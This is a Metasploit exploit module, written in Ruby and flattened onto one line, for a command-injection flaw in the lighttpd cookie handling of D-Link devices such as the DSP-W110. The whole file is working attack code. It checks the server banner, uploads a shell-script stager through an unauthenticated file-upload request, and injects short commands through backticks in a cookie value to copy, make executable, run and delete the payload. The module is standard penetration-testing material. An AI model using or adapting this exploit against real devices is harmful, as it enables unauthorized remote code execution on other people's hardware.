## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link Cookie Command Execution', 'Description' => %q{ This module exploits an anonymous remote upload and code execution vulnerability on different D-Link devices. The vulnerability is a command injection in the cookie handling process of the lighttpd web server when handling specially crafted cookie values. This module has been successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment. }, 'Author' => [ 'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'References' => [ ['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC ], 'DisclosureDate' => 'Jun 12 2015', 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'MIPS Little Endian', # unknown if there are LE devices out there ... but in case we have a target { 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE } ], [ 'MIPS Big Endian', { 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE } ] ], 'DefaultTarget' => 1 )) end def check begin res = send_request_cgi({ 'uri' => '/', 'method' => 'GET' }) if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Unknown end def exploit print_status("#{peer} - Trying to access the device ...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") end print_status("#{peer} - Uploading stager ...") @counter = 1 execute_cmdstager( :flavor => :echo, :linemax => 95 # limited by our upload, larger payloads crash the web server ) print_status("#{peer} - creating payload and executing it ...") (1 .. @counter).each do |act_file| # the http server blocks access to our files ... we copy it to a new one # the length of our command is restricted to 19 characters cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}" execute_final_command(cmd) cmd = "chmod +x /tmp/#{act_file+@counter}" execute_final_command(cmd) cmd = "/tmp/#{act_file+@counter}" execute_final_command(cmd) cmd = "rm /tmp/#{act_file}" execute_final_command(cmd) cmd = "rm /tmp/#{act_file+@counter}" execute_final_command(cmd) end end def execute_command(cmd,opts) # upload our stager to a shell script # upload takes quite long because there is no response from the web server file_upload = "#!/bin/sh\n" file_upload << cmd << "\n" post_data = Rex::MIME::Message.new post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"") post_data.bound = "-#{rand_text_alpha(12)}--" file = post_data.to_s @counter = @counter + 1 begin send_request_cgi({ 'method' => 'POST', 'uri' => "/web_cgi.cgi", 'vars_get' => { '&request' =>'UploadFile', 'path' => '/tmp/' }, 'encode_params' => false, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => file }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end def execute_final_command(cmd) # very limited space - larger commands crash the webserver fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18 begin send_request_cgi({ 'method' => 'GET', 'uri' => "/", 'cookie' => "i=`#{cmd}`" }, 5) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end